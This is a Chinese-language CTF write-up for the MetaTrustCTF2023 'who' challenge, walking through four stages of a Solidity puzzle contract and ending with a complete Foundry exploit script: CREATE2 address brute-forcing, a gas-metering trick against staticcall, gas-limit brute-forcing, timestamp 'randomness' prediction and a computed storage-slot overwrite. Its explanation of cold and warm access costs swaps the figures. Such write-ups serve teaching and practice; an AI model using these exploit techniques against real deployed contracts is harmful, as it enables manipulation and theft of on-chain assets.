04.who
2023-09-30 16:16:48 # 22.MetaTrustCTF2023

who

分析

1.全局观

只有一个合约,一眼可以看出是过关斩将的题目类型:4个stage

2.任务

让mapping中的相关信息返回true

1
2
3
function isSolved() external view returns (bool) {
return stats[4][who];
}

3.详细分析

setup

很明显,是要用CREATE2创建特殊要求的地址,那么就需要用CREATE2爆破了。

1
2
3
4
function setup() external {
require(uint256(uint160(msg.sender)) % 1000 == 137, "!good caller");
who = msg.sender;
}

用下面的代码来爆破(FooEXP尚未写):通过deploy部署得到符合setup()条件的攻击地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function deploy() public returns(address){
address addr;
bytes memory bytecode = type(FooEXP).creationCode;
uint256 salt = bruteForceDeploy();
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
deployedAddress = addr;
return addr;
}

function getAddress( bytes memory bytecode, uint _salt) public view returns (address) {
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
_salt,
keccak256(bytecode)
)
);

// NOTE: cast last 20 bytes of hash to address
return address(uint160(uint(hash)));
}

function bruteForceDeploy() public view returns(uint){
for (uint i = 1; i < 999999; i++) {
address addr = getAddress(type(FooEXP).creationCode, i);
if (uint256(uint160(addr)) % 1000 == 137) {
return i;
}
}
}

stage1

攻击合约写一个check()方法,两次调用的返回结果不一样:第一次返回keccak256(abi.encodePacked("1337")),第二次返回keccak256(abi.encodePacked("13337")),和Ethernaut的Elevator原理一样

1
2
3
4
5
6
7
8
9
10
function stage1() external {
require(msg.sender == who, "stage1: !setup");
stats[1][msg.sender] = true;

(, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("check()"));
require(abi.decode(data, (bytes32)) == keccak256(abi.encodePacked("1337")), "stage1: !check");

(, data) = msg.sender.staticcall(abi.encodeWithSignature("check()"));
require(abi.decode(data, (bytes32)) == keccak256(abi.encodePacked("13337")), "stage1: !check2");
}

解题方案:由于staticcall不能修改状态,因此我们选择用gas剩余量来判断两次调用。如果让两次调用之间存在差别呢?我们的选择是通过staticcall计算gas的特点:冷地址消耗100gas,热地址消耗2600gas。第一次访问address(0x100)是热地址,返回”1337”,第二次访问address(0x100)是冷地址,消耗100gas,返回“13337”,这是关于staticcall操作码的特点。

1
2
3
4
5
6
7
8
9
function check() public view returns (bytes32) {
uint startGas = gasleft();
uint bal = address(0x100).balance;
uint usedGas = startGas - gasleft();
if (usedGas < 1000) {
return keccak256(abi.encodePacked("13337"));
}
return keccak256(abi.encodePacked("1337"));
}

stage2

stage调用会不断地递归下去,直到gas消耗完,要么成功,要么revert(极大概率)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function stage2() external {
require(stats[1][msg.sender], "goto stage1");
stats[2][msg.sender] = true;
require(this._stage2() == 7, "!stage2");
}

function _stage2() external payable returns (uint x) {
unchecked {
x = 1;
try this._stage2() returns (uint x_) {
x += x_;
} catch {}
}
}

我们无法知道程序会在什么时候停下来使得返回值为7,遇到这个情况,最好的方式就是爆破:我在foundry本地测试过了,大概会在40000~41000之间程序会成功,实际攻击题目的时候,不要从i=1开始遍历,因为gas会超过上限

1
2
3
4
5
6
7
8
9
10
function brure_force_stage2() public {
for (uint i = 40200; i < 40399; i++) {
(bool success, ) = address(chall).call{gas: i}(
abi.encodeWithSignature("stage2()")
);
if (success) {
break;
}
}
}

stage3

代码量很多,但是其实最简单,这个就是猜测数值,伪随机数,我们在同一笔交易中用相同的方式获取答案。另外需要注意的是,由于回调的时候有{gas: 3_888}限制,因此我们的回调函数要尽可能的小,否则会因为gas不足而revert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function stage3() external {
require(stats[2][msg.sender], "goto stage2");
stats[3][msg.sender] = true;
uint[] memory challenge = new uint[](8);
// 这里的challenge是根据时间戳来确定的,而时间戳可以在同一笔交易中得知
challenge[0] = (block.timestamp & 0xf0000000) >> 28;
challenge[1] = (block.timestamp & 0xf000000) >> 24;
challenge[2] = (block.timestamp & 0xf00000) >> 20;
challenge[3] = (block.timestamp & 0xf0000) >> 16;
challenge[4] = (block.timestamp & 0xf000) >> 12;
challenge[5] = (block.timestamp & 0xf00) >> 8;
challenge[6] = (block.timestamp & 0xf0) >> 4;
challenge[7] = (block.timestamp & 0xf) >> 0;

(, bytes memory data) = msg.sender.staticcall{gas: 3_888}(abi.encodeWithSignature("sort(uint256[])", challenge));
uint[] memory answer = abi.decode(data, (uint[]));

// 冒泡排序,从小到大
for(uint i=0 ; i<8 ; i++) {
for(uint j=i+1 ; j<8 ; j++) {
if (challenge[i] > challenge[j]) {
uint tmp = challenge[i];
challenge[i] = challenge[j];
challenge[j] = tmp;
}
}
}

// 从上面分析可以知道,我们的data decode出来之后,数据变化要和时间戳一样,而时间戳在一笔交易得知的
for(uint i=0 ; i<8 ; i++) {
require(challenge[i] == answer[i], "stage3: !sort");
}
}

解决方案:我选择在一笔交易中,构造器中初始化随机数,不在方法中计算随机数否则gas是不够的,然后进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function sort(uint256[] memory) public returns (uint[] memory) {return challenge;}
constructor() {
// 这里的challenge是根据时间戳来确定的,而时间戳可以在同一笔交易中得知
challenge[0] = (block.timestamp & 0xf0000000) >> 28;
challenge[1] = (block.timestamp & 0xf000000) >> 24;
challenge[2] = (block.timestamp & 0xf00000) >> 20;
challenge[3] = (block.timestamp & 0xf0000) >> 16;
challenge[4] = (block.timestamp & 0xf000) >> 12;
challenge[5] = (block.timestamp & 0xf00) >> 8;
challenge[6] = (block.timestamp & 0xf0) >> 4;
challenge[7] = (block.timestamp & 0xf) >> 0;

// 冒泡排序,从小到大
for(uint i=0 ; i<8 ; i++) {
for(uint j=i+1 ; j<8 ; j++) {
if (challenge[i] > challenge[j]) {
uint tmp = challenge[i];
challenge[i] = challenge[j];
challenge[j] = tmp;
}
}
}
}

stage4

这里明显就是要找到stats[4] [who]在EVM的存储位置:涉及到嵌套mapping,找到stats[4] [who]的位置,然后设置为true即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mapping (uint256 => mapping (address => bool)) stats; // slot_1

function stage4() external {
require(stats[3][msg.sender], "goto stage3");
(, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("pos()"));
bytes32 pos = abi.decode(data, (bytes32));
assembly {
sstore(pos, 0x1)
}
}

function isSolved() external view returns (bool) {
return stats[4][who];
}

解决方案:

1
2
3
4
5
6
7
8
9
10
11
12
13
function firstMapping(uint256 _key,uint256 x) public pure returns(bytes32) {
return keccak256(abi.encode(_key, x));
}

function secondMapping(address _key,uint256 x) public pure returns(bytes32) {
return keccak256(abi.encode(_key, x));
}

function findPosition(address addr) public returns(bytes32){
bytes32 a1 = firstMapping(4,1);
bytes32 a2 = secondMapping(addr,uint256(a1));
return a2;
}

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "Foo";

contract ContainerDeployScript is Script {
function run() public {
uint256 deployerPrivateKey = vm.envUint("privatekey");

vm.startBroadcast(deployerPrivateKey);

Attacker xxx = new Attacker();
xxx.attack();

vm.stopBroadcast();
}
}
contract Attacker {
function attack() public{
Foo foo = Foo(address(0x828b9ca82DFcC53743a1f60BeafEd1E200511a62));

Deployer deployer = new Deployer(address(foo));
FooEXP attacker = FooEXP(deployer.deploy());

attacker.hack_setup(address(foo));
attacker.hack1();
attacker.hack2{gas:9000000000000}();
attacker.hack3();

bytes32 position = calPosition(address(attacker));
attacker.set_pos(position);
attacker.hack4();
}

function Mapping_1(uint256 _key,uint256 x) public pure returns(bytes32) {
return keccak256(abi.encode(_key, x));
}

function Mapping_2(address _key,uint256 x) public pure returns(bytes32) {
return keccak256(abi.encode(_key, x));
}

function calPosition(address addr) public returns(bytes32){
bytes32 a1 = Mapping_1(4,1);
bytes32 a2 = Mapping_2(addr,uint256(a1));
return a2;
}
}

contract FooEXP {
Foo public chall;
bytes32 _pos;
uint[] public challenge = new uint[](8);

constructor() {
// 这里的challenge是根据时间戳来确定的,而时间戳可以在同一笔交易中得知
challenge[0] = (block.timestamp & 0xf0000000) >> 28;
challenge[1] = (block.timestamp & 0xf000000) >> 24;
challenge[2] = (block.timestamp & 0xf00000) >> 20;
challenge[3] = (block.timestamp & 0xf0000) >> 16;
challenge[4] = (block.timestamp & 0xf000) >> 12;
challenge[5] = (block.timestamp & 0xf00) >> 8;
challenge[6] = (block.timestamp & 0xf0) >> 4;
challenge[7] = (block.timestamp & 0xf) >> 0;

// 冒泡排序,从小到大
for(uint i=0 ; i<8 ; i++) {
for(uint j=i+1 ; j<8 ; j++) {
if (challenge[i] > challenge[j]) {
uint tmp = challenge[i];
challenge[i] = challenge[j];
challenge[j] = tmp;
}
}
}
}

function brure_force_stage2() public {
for (uint i = 40200; i < 40399; i++) {
(bool success, ) = address(chall).call{gas: i}(
abi.encodeWithSignature("stage2()")
);
if (success) {
break;
}
}
}

function hack_setup(address _addr) public {
chall = Foo(_addr);
chall.setup();
}

function hack1() public {
chall.stage1();
}

function hack2() public {
brure_force_stage2();
}

function hack3() public {
chall.stage3();
}

function hack4() public {
chall.stage4();
}

function check() public view returns (bytes32) {
uint startGas = gasleft();
uint bal = address(0x100).balance;
uint usedGas = startGas - gasleft();
if (usedGas < 1000) {
return keccak256(abi.encodePacked("13337"));
}
return keccak256(abi.encodePacked("1337"));
}

function sort(uint256[] memory) public returns (uint[] memory) {
return challenge;
}

function set_pos(bytes32 a) public{
_pos = a;
}

function pos() public view returns(bytes32){
return _pos;
}
}

contract Deployer{
Foo public chall;
FooEXP public exp;
uint salt;
address public deployedAddress;

constructor(address _addr) public {
chall = Foo(_addr);

}

function getHash()external view returns(bytes32){
bytes memory aaaa = type(FooEXP).creationCode;
return keccak256(aaaa);
}

function deploy() public returns(address){

address addr;
bytes memory bytecode = type(FooEXP).creationCode;
uint256 salt = bruteForceDeploy();
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
deployedAddress = addr;

return addr;
}

function getAddress(
bytes memory bytecode,
uint _salt
) public view returns (address) {
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
_salt,
keccak256(bytecode)
)
);

// NOTE: cast last 20 bytes of hash to address
return address(uint160(uint(hash)));
}

function bruteForceDeploy() public view returns(uint){
for (uint i = 1; i < 999999; i++) {
address addr = getAddress(type(FooEXP).creationCode, i);
if (uint256(uint160(addr)) % 1000 == 137) {
return i;
}
}
}

}